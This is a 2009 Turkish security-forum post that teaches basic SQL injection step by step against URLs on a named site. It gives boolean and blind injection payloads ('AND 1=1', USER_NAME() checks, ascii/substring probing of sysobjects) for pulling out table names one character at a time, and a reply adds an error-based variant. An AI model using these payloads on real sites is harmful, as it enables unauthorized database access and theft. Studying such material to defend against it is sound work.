Bilginin Adresi Ana Sayfa
Forum Anasayfası Forum Anasayfası > Bilgisayar Güvenliği / Computer Security > Güvenlik / Security Makaleleri
  Aktif Konular Aktif Konular RSS - SQL Enjekte Temel İçerik [Örnekli]
  SSS SSS  Forumu Ara   Events   Kayıt Ol Kayıt Ol  GiriÅŸ GiriÅŸ

SQL Enjekte Temel İçerik [Örnekli]

 Yanıt Yaz Yanıt Yaz
Yazar
Mesaj
megabros Açılır Kutu Gör
Security Professional
Security Professional
Simge

Kayıt Tarihi: 08-06-2009
Konum: Turkey
Status: Aktif DeÄŸil
Points: 752
Mesaj Seçenekleri Mesaj Seçenekleri   Thanks (0) Thanks(0)   Alıntı megabros Alıntı  Yanıt YazCevapla Mesajın Direkt Linki Konu: SQL Enjekte Temel İçerik [Örnekli]
    Gönderim Zamanı: 24-08-2009 Saat 00:47

Tanım //


Dünya çapında bir ağ diyebiliriz. 20. yüzyılda gereken değerini yükseltmiş ve istediği yere ulaşmış bir kod yığını. Hükümet ve bazı iş alanları internet konusunda güvenilir bir veri arayışı içindeydiler ve bir teklif sonucu SQL ortaya çıktı. Yine de güvenliği arttırmak için hayatımıza giren SQL kodlarında kritik güvenlik çıkışları ile hayatımızdaki internet güvenliğine bir bakıma engel olmaktadır.

Emniyetli uygulamaları inşa etmek, ortaya k****k, geliştirmek ve herhangi bir yazılım ürününün gerçek bir bileşeni olduğunu saptamak amacıyla ortaya çıkmış bir veri türüdür.Bir resmi açıklama yapan sistemdeki kör noktaları kavrayabilmemize dahi yarayabilir.Kısaca bir not daha eklersem eğer SQL Injection’un Türkçesi SQL Enjeksiyon ’dur. Hatta Injeciton’un karşılığı da enjekte’dir. Bu yüzden ”SQL İnjeksiyon” yazan kişiler tamamen başka bir boyut katmış olurlar.

SQL Enjekte //

İlk başta verilerin dokunulmasına izin verin. Verilerle iç içe olun. Hiçbir standart veri SQL Enjeksiyon olmasına veya çalışmasına olanak sağlamaz. Eğer ki veritabanı sahibi kolonlara giriş için yetki verdiyse, saldırganlar bu yetkiyi değerlendirip gereken metodu uygulayacaktır.Küçücük bir hata en büyük sistemlerin bile gülünç duruma düşmesi demektir.Veri türü kullanıcıdan gelen veriyi kabul eder ve bir düzene bağlı olarak SQL sorgularını kullanıcının isteğiyle veritabanına yükler.Saldırgan bu verileri aklını kullanırsa hertürlü düzenleme,ekleme ve silme yetkisine sahiptir.Bazı koşullarda ise saldırgan veritabanının köküne inmek ister ve başarılı olursa işletim sistemine dahi girebilir.

SQL Enjeksiyon Korunmasızlığı //

Ağlar genellikle, bir veritabanından veriyi gerçi çağırmak için kullanıcının girişiyle oluşan bir yapıdır. Şimdi sizlere bir örnek göstereceğim. Bu örnekte site adresi kullanmayacağım fakat sadece bu sitenin kullandığı dosya isimleri üzerinde anlatım yapacağım.

http://www.knbykl.org/pressRelease.jspi?pressReleaseID=5

Şimdi buradaki sayfayı açtığımızda veritabanında çağırılan tablo şu şekilde olacaktır.

SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = 5

Eğer ki siz bu tipte bir url ile karşılaşırsanız heyecanlanmayın, çünkü bu size bir şey kazandırmaz.Eğer ki siz bu sisteme nasıl girerim diye düşünürseniz aklınıza gelecek ilk alternatif, sistemde ki “pressReleaselID” tablosunda bir hata aramak olacaktır.Bunu nasıl yapacağım diye düşünürseniz ;

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND 1=1

Bu işlemi uygulayınız. Burada sadece “AND 1=1” kodunu eklemiş bulunuyoruz.

SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = 5 AND 1=1

İşlem sonucu veritabanındaki tablodan bu hücreyi istediğimizi belirtiyoruz. Bu işlem veritabanının ne kadar hassas olduğunu bize verdiği hata kodlarıyla bildirecektir.Eğer ki sistem güvenli olmuş olsaydı saldırganın bu isteğini ( 5 AND 1=1 ) geri çevirecekti ve Düzgün bir biçimde hatayla karşılılaşılacaktı.

Hatalarla Ulaşılan Verileri Sömürmek ( Exploit the Vulnerability ) //

Ne zaman SQL Enjekte etmek için test ettiğimiz adreste veritabanı her zaman kendini sorgular. 1=1 her zaman doğrudur. Biz ne olursa olsun önce nerede hataların olduğunu ve Enjekte edilecek bölümü bilmeliyiz.Eğer bir enjekte durumunda sonuç tekrar aynı yere dönmüş olursa enjekte ettiğimiz alanın doğru alan olduğunu anlarız. Biz her zaman sorgu yapmalıyız ve bu sorguya yönelik gelen cevabı veritabanı bize verir. Acaba bu cevap : “Genel kullanıcı dbo” yanıtı vermektemidir ?

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND USER_NAME() = ‘dbo’

USER_NAME güncel kullanıcının tablosuna dönen bir SQL servisçisi sayılırsa veya genel kullanıcı “dbo” ise 5. tablodan çağırdığımız veri dönmüş olacak, eğer değilse sorgu başarısız olacaktır ve hiçbir bilgi görüntülenmeyecektir.Eğer ki çok detaylara inmek istiyorsanız veya şöyle demeliyim kendinize güveniyorsanız şu tipte de sorgular yapabilirsiniz.

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U”), 1, 1))) > 109

Subquery ( SELECT ), veritabanında ilk kullanıcı işlemi için ismi soruyor
Substring Görev, sorgunun sonucunun ilk karakterine dönecek. Saldırının son karakterine kadar dönmesini sağlayacak.


http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U”), 1, 1))) > 116

Bu kodlardan çıkan yorumumuz ise şöyledir ; Eğer ki sorgumuzda hiçbir değer geri dönmüş olmazsa sorgumuz 109’dan daha büyüktür.Ama 116’dan büyük değildir.

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U”), 1, 1))) > 113


Yanlış ifade diye nitelendirilir. Biz bu sonuç karşısında ulaşacağımız verinin hangi kolonlar arasında olduğunu görebiliriz. Siz göremiyorsunuz fakat benim bulduğum sonuç : 110 – 113 arasında çıktı.

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U”), 1, 1))) > 111

Sonucum ben de yeniden yanlış çıktı. 111 yazmamın nedeni bundan bir önceki sorgumda sonuca 110 ile 113 arasında bir sayıdan ulaşacağımı bilmemdir. Bu yüzden bu arada bir rakam denedim.

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U”), 2, 1))) > 109
Sonuca ulaşıncya kadar çıkan sonuçta veri aktarımı yapın. Sonuna kadar ilerleyin elbet sonuca ulaşacaksınız.

Not : Red’in sitesi içinde bir döküman yazacağım. Bu dökümandan ziyade bir insanın başarı öyküsünü andıracak.

darkpenguin demiş ki :
“ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1)))”

demi$sinde hoca,$imdi biraz hatalar var bu i$te  “SELECT TOP 1 name FROM sysobjects…” gibi bir komutu mssql icin kullaniyoruz.ama dokumanda ki ornek mysql’mi mssql’mi belli degil? ya deneyimsiz saldirgan bunu mysql bir sisteme deneyip husrana ugrarsa? bilgilendirme bu tur dokumantasyonlarda onemlidir.ayrica convert(int,(select blabla)); gibi guzel bir yontem daha var,dokumana eklenebilir

 
Saygılar..
Yukarı Dön
 Yanıt Yaz Yanıt Yaz

Forum Atla Forum İzinleri Açılır Kutu Gör



Bu Sayfa 0.148 Saniyede Yüklendi.